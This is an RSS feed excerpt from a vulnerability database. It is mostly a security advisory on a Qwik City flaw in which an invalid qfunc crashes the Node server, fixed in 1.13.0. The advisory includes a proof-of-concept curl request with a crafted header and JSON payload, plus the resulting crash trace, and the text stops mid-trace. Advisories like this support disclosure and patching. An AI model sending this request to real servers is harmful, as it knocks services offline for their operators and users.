https://db.gcve.eu/rss/recent/all/10 Most recent entries from all 2026-10-03T09:49:33.316532+00:00 Vulnerability-Lookup info@gcve.eu python-feedgen Contains only the most 10 recent entries. https://db.gcve.eu/vuln/bdu:2025-14615 bdu:2025-14615 2026-10-03T09:49:33.343599+00:00 bdu:2025-14615 https://db.gcve.eu/vuln/fkie_cve-2025-53620 fkie_cve-2025-53620 2026-10-03T09:49:33.343641+00:00

@builder.io/qwik-city is the meta-framework for Qwik. When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit. This vulnerability is fixed in 1.13.0.

 https://db.gcve.eu/vuln/ghsa-qr9h-j6xg-2j72 GHSA-qr9h-j6xg-2j72 — Qwik's unhandled exception vulnerabilty can cause server crashes from malicious requests 2026-10-03T09:49:33.343673+00:00

Affected: npm: @builder.io/qwik-city

### Summary

Possibility to craft a request that will crash the Qwik Server in the default configuration.

### Details

When a Qwik Server Action QRL is executed it dynamically load the file containing the symbol. When an invalid qfunc is sent, the server does not handle the thrown error. The error then causes Node JS to exit.

### PoC

1. Setup a Qwik Project `pnpm create qwik@latest` 2. Start the Qwik Server using `pnpm run preview` 3. Execute the following curl command to crash the instance ```bash curl --location 'http://localhost:4173/?qfunc=PPXYallGsCE' \ --header 'Content-Type: application/qwik-json' \ --header 'X-Qrl: PPXYallGsCE' \ --data '{"_entry":"2","_objs":["\u0002_#s_PPXYallGsCE",1,["0","1"]]}' ```

Here the `qfunc` query parameter, `X-Qrl` header and payload need to have the same qrl.

The Qwik Server will then crash with the message

``` qrl s_PPXYallGsCE failed to load Error: Dynamic require of "_.js" is not supported at file:///home/michele/Code/qwik/server/entry.preview.js:32:199 at Object.importSymbol (file:///home/michele/Code/qwik/server/entry.preview.js:32:776) at $ (file:///home/michele/Code/qwik/server/entry.preview.js:26:3064) at d (file:///home/michele/Code/qwik/server/entry.preview.js:26:3274) at file:///home/michele/Code/qwik/server/entry.preview.js:26:3311 at Object.a (file:///home/michele/Code/qwik/server/entry.preview.js:26:2566) at oc (file:///home/michele/Code/qwik/server/entry.preview.js:16:1562) at proce…